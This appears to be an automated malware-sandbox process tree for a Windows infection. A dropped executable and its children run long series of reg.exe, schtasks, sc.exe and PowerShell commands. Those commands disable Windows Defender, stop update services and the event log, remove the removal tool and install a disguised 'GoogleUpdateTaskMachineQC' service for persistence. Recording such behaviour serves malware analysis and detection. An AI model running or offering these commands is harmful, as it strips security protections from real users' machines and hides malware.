  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,15953471655239556192,17736266773223951999,524288 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2576 /prefetch:13
      4⤵
      PID:1608
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3264,i,18407267644271611871,12010674925350122362,2097152 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3280 /prefetch:1
      4⤵
      PID:1648
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3268,i,16456799440854931306,6692099379648632439,2097152 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3288 /prefetch:1
      4⤵
      PID:1436
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4188,i,6806322260490938158,7493334096405391976,2097152 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4280 /prefetch:9
      4⤵
      PID:6028
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4588,i,2993150601138593954,12682698023731899243,2097152 --field-trial-handle=1960,i,300154007752379034,14594848155647821535,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4656 /prefetch:1
      4⤵
      PID:3960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory="Default"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x2f0,0x7ffff0e7c188,0x7ffff0e7c194,0x7ffff0e7c1a0
      4⤵
      PID:5960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1912,i,15964441454255474567,13868726461187144320,524288 --field-trial-handle=2376,i,12969562125795544679,9337275456197656152,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:11
      4⤵
      System Time Discovery
      PID:3172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1680,i,17744063921618599802,12523960271728849646,262144 --field-trial-handle=2376,i,12969562125795544679,9337275456197656152,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:2
      4⤵
      PID:2484
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2528,i,13896036832149401319,9154556799020993959,524288 --field-trial-handle=2376,i,12969562125795544679,9337275456197656152,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:13
      4⤵
      PID:5388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3468,i,11903724843309660205,10610427184569051239,2097152 --field-trial-handle=2376,i,12969562125795544679,9337275456197656152,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
      4⤵
      PID:5048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3464,i,8008418825751126161,13961969539516828093,2097152 --field-trial-handle=2376,i,12969562125795544679,9337275456197656152,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
      4⤵
      PID:240
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\DNSkppu4gp.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Users\Admin\AppData\Local\Temp\DNSkppu4gp.exe
      "C:\Users\Admin\AppData\Local\Temp\DNSkppu4gp.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2080
    - - C:\ProgramData\Chrome146\Chrome145.exe
        
        "C:\ProgramData\Chrome146\Chrome145.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5652
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\cMxEHjV\diVN1JJwiW\1.bat"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5644
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:3960
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5532
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2792
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender DisableAntiSpyware settings
        System Location Discovery: System Language Discovery
        
        PID:3864
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5356
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableLocalAdminMerge" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3664
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3676
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5204
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5384
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:1460
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIntrusionPreventionSystem" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:1548
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:4364
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3692
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRawWriteNotification" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:412
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:2796
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3052
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5472
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableBehaviorMonitoring" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:1212
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIntrusionPreventionSystem" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5720
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableIOAVProtection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5400
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableOnAccessProtection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:5560
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideDisableRealtimeMonitoring" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:3636
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "LocalSettingOverrideRealtimeScanDirection" /t REG_DWORD /d "0" /f
        7⤵
        Modifies Windows Defender Real-time Protection settings
        System Location Discovery: System Language Discovery
        
        PID:576
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4492
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4064
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4324
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3872
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5240
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4416
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5540
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1468
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5404
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5688
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1624
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3408
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2076
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5700
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\MDCoreSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2520
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:2944
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:3216
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:4616
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies security service
        System Location Discovery: System Language Discovery
        
        PID:3168
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2968
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5412
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:2636
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:1132
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2912
      - C:\Users\Admin\AppData\Local\L5IOxCvF\YxIUHv\chrome_144.exe
        
        "C:\Users\Admin\AppData\Local\L5IOxCvF\YxIUHv\chrome_144.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Drops file in Drivers directory
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4220
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:852
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:3584
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:3292
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:2616
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:2552
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:644
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:1460
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:412
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2324
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:3812
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5436
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        7⤵
        
        PID:4156
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        7⤵
        Launches sc.exe
        
        PID:6024
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:4576
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:4904
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        7⤵
        Launches sc.exe
        
        PID:5656
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:3040
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:3080
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:6116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffe1b6c728,0x7fffe1b6c734,0x7fffe1b6c740
    3⤵
    PID:4808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1576,i,8214775496879820519,15038282422296049336,262144 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1940 /prefetch:2
    3⤵
    PID:1832
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2188,i,16642881434985439955,11025951048440256223,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1444 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=1772,i,7006397220814379828,2260598162731967957,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2416 /prefetch:13
    3⤵
    PID:5564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,6752562001113081650,9497795732319795404,2097152 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:2568
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3240,i,7869063921167714446,14390868627593031789,2097152 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3288 /prefetch:1
    3⤵
    PID:3160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3204,i,17273905343213598100,5856836926885375244,2097152 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4368 /prefetch:9
    3⤵
    PID:332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4620,i,6861061463719423663,17390205348495705509,2097152 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4668 /prefetch:1
    3⤵
    PID:5004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,10675734710295027494,17855703005831535909,524288 --field-trial-handle=1944,i,2816677217728780271,729696098329713834,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5416 /prefetch:14
    3⤵
    PID:476
